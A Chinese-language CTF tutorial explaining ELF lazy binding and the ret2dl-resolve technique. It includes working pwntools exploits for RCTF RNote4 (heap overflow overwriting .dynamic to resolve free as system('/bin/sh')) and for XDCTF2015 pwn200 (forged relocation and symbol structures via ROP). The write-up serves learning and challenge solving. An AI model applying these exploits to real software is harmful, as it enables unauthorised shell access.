[新手向]ret2dl-resolve詳解
0x00 前言
最近做RCTF,結果pwn一道沒做出來(雖然精力全放在更擅長的 reverse上了),然後復盤的時候發現RNote4有個關於 ret2dl-resolve 的利用,遂在網上查之,發現很多資料講的不是很清楚,但是還是慢慢琢磨弄懂了。
這個技巧貌似是一個挺基礎的技巧,玩pwn一段時間了,發現自己還有這種知識遺漏,所以這篇文章新手向,大神可以繞道了......
0x01 ELF文件格式以及動態鏈接
我們知道,無論是windows下還是linux下,程序想要調用其他動態鏈接庫的函數,必須要在程序載入的時候動態鏈接,比方說,windows下,叫作IAT表,linux下,叫作GOT表。
調用庫函數時,會有個類似call [xxx] 或者 jmp [xxx]的指令,其中xxx是IAT表或者GOT表的地址。在這裡因為是linux的pwn,我們主要討論GOT表,以及在linux下更為常見的jmp [xxx]。
linux如何調用庫函數
首先一個hello world程序
#include <stdio.h>int main(){ puts("Hello Pwn
"); return 0;}//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c
其中,這個puts是調用的libc這個動態鏈接庫導出的一個函數。編譯它,看看puts是怎麼被調用的。
push offset s ; "Hello Pwn
"call _puts ;這裡調用puts_puts:jmp ds:off_804A00C ; puts會call到這裡,這裡就是「jmp [GOT表地址]」的這樣一條指令
跟一下,看看這個 off_804A00C 在第一次調用時是什麼東西
可以發現,是0x80482e6這個地址,並不直接是libc的puts函數的地址。這是因為linux在程序載入時使用了延遲綁定(lazy load),只有等到這個函數被調用了,才去把這個函數在libc的地址放到GOT表中。
接下來,會再push一個0,再push一個 dword ptr [0x804a004],待會會說這兩個參數是什麼意思,最後跳到libc的 _dl_runtime_resolve 去執行。
這個函數的目的,是根據2個參數獲取到導出函數(這裡是puts)的地址,然後放到相應的GOT表,並且調用它。而這個函數的地址也是從GOT表取並且jmp [xxx]過去的,但是這個函數不會延遲綁定,因為所有函數都是用它做的延遲綁定,如果把它也延遲綁定就會出現先有雞還是先有蛋的問題了。
ELF關於動態鏈接的一些關鍵section
section,segment是什麼東西不說了,不知道的話呢谷歌百度一下。
.dynamic
包含了一些關於動態鏈接的關鍵信息,在這個hellopwn上它長這樣,事實上這個section所有程序都差不多
這個section的用處就是他包含了很多動態鏈接所需的關鍵信息,我們現在只關心DT_STRTAB
, DT_SYMTAB
, DT_JMPREL
這三項,這三個東西分別包含了指向.dynstr
, .dynsym
, .rel.plt
這3個section的指針,可以readelf -S hellopwn
看一下,會發現這三個section的地址跟在上圖所示的地址是一樣的。
.dynstr
一個字元串表,index為0的地方永遠是0,然後後面是動態鏈接所需的字元串,0結尾,包括導入函數名,比方說這裡很明顯有個puts。到時候,相關數據結構引用一個字元串時,用的是相對這個section頭的偏移,比方說,在這裡,就是字元串相對0x804821C的偏移。
.dynsym
這個東西,是一個符號表(結構體數組),裡面記錄了各種符號的信息,每個結構體對應一個符號。我們這裡只關心函數符號,比方說上面的puts。結構體定義如下
typedef struct{ Elf32_Word st_name; //符號名,是相對.dynstr起始的偏移,這種引用字元串的方式在前面說過了 Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; //對於導入函數符號而言,它是0x12 unsigned char st_other; Elf32_Section st_shndx;}Elf32_Sym; //對於導入函數符號而言,其他欄位都是0
.rel.plt
這裡是重定位表(不過跟windows那個重定位表概念不同),也是一個結構體數組,每個項對應一個導入函數。結構體定義如下:
typedef struct{ Elf32_Addr r_offset; //指向GOT表的指針 Elf32_Word r_info; //一些關於導入符號的信息,我們只關心從第二個位元組開始的值((val)>>8),忽略那個07 //1和3是這個導入函數的符號在.dynsym中的下標, //如果往回看的話你會發現1和3剛好和.dynsym的puts和__libc_start_main對應} Elf32_Rel;
_dl_runtime_resolve做了什麼
這個想要深入理解的話呢可以去看glibc/elf/dl-runtime.c
的源碼,這裡我就不貼了,因為有一堆宏,看著讓人暈,我就直接說下他做了哪些事情。
首先說第一個參數,[0x804a004]是一個link_map
的指針,這個結構是幹什麼的,我們不關心,但是有一點要知道,它包含了.dynamic
的指針,通過這個link_map
,_dl_runtime_resolve
函數可以訪問到.dynamic
這個section
0x08049f14是.dynamic
的指針,與前面圖中一致;而第二個參數,是當前要調用的導入函數在.rel.plt
中的偏移(不過64位的話就直接是index下標),比方說這裡,puts就是0,__libc_start_main
就是1*sizeof(Elf32_Rel)=8
。
_dl_runtime_resolve會
- 用
link_map
訪問.dynamic
,取出.dynstr
,.dynsym
,.rel.plt
的指針 .rel.plt + 第二個參數
求出當前函數的重定位表項Elf32_Rel
的指針,記作rel
rel->r_info >> 8
作為.dynsym
的下標,求出當前函數的符號表項Elf32_Sym
的指針,記作sym
.dynstr + sym->st_name
得出符號名字元串指針- 在動態鏈接庫查找這個函數的地址,並且把地址賦值給
*rel->r_offset
,即GOT表 - 調用這個函數
如果閱讀libc源碼的話會發現實際順序可能跟我上面所說的有一點偏差,不過意思都一樣,我這樣說會比較好理解。
0x02 ret2dl-resolve 利用
那麼,這個怎麼去利用呢,有兩種利用方式
改寫.dynamic的DT_STRTAB
這個只有在checksec時No RELRO
可行,即.dynamic
可寫。因為ret2dl-resolve
會從.dynamic
裡面拿.dynstr
字元串表的指針,然後加上offset取得函數名並且在動態鏈接庫中搜索這個函數名,然後調用。而假如說我們能夠改寫這個指針到一塊我們能夠操縱的內存空間,當resolve的時候,就能resolve成我們所指定的任意庫函數。比方說,原本是一個free
函數,我們就把原本是free
字元串的那個偏移位置設為system
字元串,第一次調用free("bin/sh")
(因為只有第一次才會resolve),就等於調用了system("/bin/sh")
。
例題就是RCTF的RNote4,題目是一道堆溢出,NO RELRO
而且NO PIE
溢出到後面的指針可以實現任意地址寫。
unsigned __int64 edit(){ unsigned __int8 a1; // [rsp+Eh] [rbp-12h] unsigned __int8 size; // [rsp+Fh] [rbp-11h] note *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); a1 = 0; read_buf((char *)&a1, 1u); if ( !notes[a1] ) exit(-1); v3 = notes[a1]; size = 0; read_buf((char *)&size, 1u); read_buf(v3->buf, size); // heap overflow堆溢出 return __readfsqword(0x28u) ^ v4;} unsigned __int64 add(){ unsigned __int8 size; // [rsp+Bh] [rbp-15h] int i; // [rsp+Ch] [rbp-14h] note *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( number > 32 ) exit(-1); size = 0; v3 = (note *)calloc(0x10uLL, 1uLL); if ( !v3 ) exit(-1); read_buf((char *)&size, 1u); if ( !size ) exit(-1); v3->buf = (char *)calloc(size, 1uLL); //堆中存放了指針,所以可以通過這個任意寫 if ( !v3->buf ) exit(-1); read_buf(v3->buf, size); v3->size = size; for ( i = 0; i <= 31 && notes[i]; ++i ) ; notes[i] = v3; ++number; return __readfsqword(0x28u) ^ v4;}
所以呢,可以先add兩個note,然後編輯第一個note使得堆溢出到第二個note的指針,然後再修改第二個note,實現任意寫。至於寫什麼,剛剛也說了,先寫.dynamic
指向字元串表的指針,使其指向一塊可寫內存,比如.bss
,然後再寫這塊內存,使得相應偏移出剛好有個systemx00
。exp如下
from pwn import * g_local=True#e=ELF(./libc.so.6)#context.log_level=debugif g_local: sh =process(./RNote4)#env={LD_PRELOAD:./libc.so.6} gdb.attach(sh)else: sh = remote("rnote4.2018.teamrois.cn", 6767) def add(content): assert len(content) < 256 sh.send("x01") sh.send(chr(len(content))) sh.send(content) def edit(idx, content): assert idx < 32 and len(content) < 256 sh.send("x02") sh.send(chr(idx)) sh.send(chr(len(content))) sh.send(content) def delete(idx): assert idx < 32 sh.send("x03") sh.send(chr(idx)) #偽造的字元串表,(0x457-0x3f8)剛好是"freex00"字元串的偏移payload = "C" * (0x457-0x3f8) + "systemx00"#先新建兩個notesadd("/bin/shx00" + "A" * 0x10)add("/bin/shx00" + "B" * 0x10)#溢出時盡量保證堆塊不被破壞,不過這裡不會再做堆的操作了其實也無所謂edit(0, "/bin/shx00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))#將0x601EB0,即.dynamic的字元串表指針,寫成0x6020C8edit(1, p64(0x6020C8)) edit(0, "/bin/shx00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))#在0x6020C8處寫入偽造的字元串表edit(1, payload) #會第一次調用free,所以實際上是system("/bin/sh")被調用,如前面所說delete(0)sh.interactive()
操縱第二個參數,使其指向我們所構造的Elf32_Rel
如果.dynamic
不可寫,那麼以上方法就沒用了,所以有第二種利用方法。要知道,前面的_dl_runtime_resolve
在第二步時
.rel.plt + 第二個參數
求出當前函數的重定位表項Elf32_Rel
的指針,記作rel
這個時候,_dl_runtime_resolve
並沒有檢查.rel.plt + 第二個參數
後是否造成越界訪問,所以我們能給一個很大的.rel.plt
的offset(64位的話就是下標),然後使得加上去之後的地址指向我們所能操縱的一塊內存空間,比方說.bss
。
然後第三步
rel->r_info >> 8
作為.dynsym
的下標,求出當前函數的符號表項Elf32_Sym
的指針,記作sym
所以在我們所偽造的Elf32_Rel
,需要放一個r_info
欄位,大概長這樣就行0xXXXXXX07
,其中XXXXXX是相對.dynsym
表的下標,注意不是偏移,所以是偏移除以Elf32_Sym
的大小,即除以0x10
(32位下)。然後這裡同樣也沒有進行越界訪問的檢查,所以可以用類似的方法,偽造出這個Elf32_Sym
。至於為什麼是07,因為這是一個導入函數,而導入函數一般都是07,所以寫成07就好。
然後第四步
.dynstr + sym->st_name
得出符號名字元串指針
同樣類似,沒有進行越界訪問檢查,所以這個字元串也能夠偽造。
所以,最終的利用思路,大概是
構造ROP,跳轉到resolve的PLT,push link_map
的位置,就是上圖所示的這個地方。此時,棧中必須要有已經偽造好的指向偽造的Elf32_Rel
的偏移,然後是返回地址(system
的話無所謂),再然後是參數(如果是system
函數的話就要是指向"/bin/shx00"
的指針)
最後來道經典例題,
int __cdecl main(int a1){ size_t v1; // eax char buf[4]; // [esp+0h] [ebp-6Ch] char v4; // [esp+18h] [ebp-54h] int *v5; // [esp+64h] [ebp-8h] v5 = &a1; strcpy(buf, "Welcome to XDCTF2015~!
"); memset(&v4, 0, 0x4Cu); setbuf(stdout, buf); v1 = strlen(buf); write(1, buf, v1); vuln(); return 0;}ssize_t vuln(){ char buf[108]; // [esp+Ch] [ebp-6Ch] setbuf(stdin, buf); return read(0, buf, 256u); //棧溢出}//gcc -m32 -fno-stack-protector -no-pie -s pwn200.c
明顯的棧溢出,但是沒給libc,ROPgadget也少,所以要用ret2dl-resolve。
利用思路如下:
第一次調用read
函數,返回地址再溢出成read
函數,這次參數給一個.bss
的地址,裡面放我們的payload,包括所有偽造的數據結構以及ROP。注意ROP要放在數據結構的前面,不然ROP調用時有可能污染我們偽造的數據結構,而且前面要預留一段空間給ROP所調用的函數用。調用完第二個read
之後,ROP到leave; retn
的地址,以便切棧切到在.bss
中我們構造的下一個ROP鏈
payload1 = "A" * 108payload1 += p32(NEXT_ROP) # ebp會在這裡被pop出來,到時候leave就可以切棧payload1 += p32(READ_ADDR)payload1 += p32(LEAVE_RETN)payload1 += p32(0)payload1 += p32(BUFFER - ROP_SIZE)payload1 += p32(0x100)payload1 += "P" * (0x100 - len(payload1))sh.send(payload1)
第二次調用read函數,此時要sendROP鏈以及所有相關的偽造數據結構
fake_Elf32_Rel = p32(STRLEN_GOT)fake_Elf32_Rel += p32(FAKE_SYMTAB_IDX)fake_Elf32_Sym = p32(FAKE_STR_OFF)fake_Elf32_Sym += p32(0)fake_Elf32_Sym += p32(0)fake_Elf32_Sym += chr(0x12) + chr(0) + p16(0) # 其它欄位直接照抄IDA裡面的數據就好strings = "systemx00/bin/shx00x00"rop = p32(0) # pop ebp, 隨便設反正不用了rop += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面說的push link_map那個位置rop += p32(FAKE_REL_OFF) # 偽造的重定位表OFFSETrop += "AAAA" # 返回地址,不用了隨便設rop += p32(BIN_SH_ADDR) # 參數,"/bin/sh"payload2 = rop + fake_Elf32_Rel + fake_Elf32_Sym + stringssh.send(payload2)
至於offset這些東西要自己慢慢擼,反正我搞了挺久的。就在IDA里把地址copy出來然後慢慢算偏移就好了。
完整exp寫的有點丑,放附件了。(去原帖查看)
PS: 其他一些大佬博客的exp我沒有很看懂,不知道為啥要寫那麼長。我是弄懂了方法就按照自己的思路寫的,不過也對就是了......
然後貌似有個自動得出ROP的工具叫作roputils,這樣就不用自己搞這麼一串ROP了。不過用工具前還是要先搞懂原理的不然就成腳本小子了嘛......
偽造link_map?
貌似也可行,而且64位下link_map+0x1c8 好像要置0,所以可能要自己偽造link_map。但是link_map結構有點複雜,網上也沒有關於這種利用方式的資料,以後有空會再研究一下。
0x03 參考資料
1. http://phrack.org/issues/58/4.html
2. http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
3. http://showlinkroom.me/2017/04/09/ret2dl-resolve/
4. https://0x00sec.org/t/linux-internals-the-art-of-symbol-resolution/1488
5. https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md
6. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf
原文鏈接:[原創][新手向]ret2dl-resolve詳解-『Pwn』-看雪安全論壇
本文由看雪論壇 holing 原創
轉載請註明來自看雪社區
推薦閱讀:
※Pwnable.kr Writeup(part one): Toddlers Bottles
※Jarvis_Oj Pwn Writeup
TAG:pwn | 網路安全 | CTFCaptureTheFlag |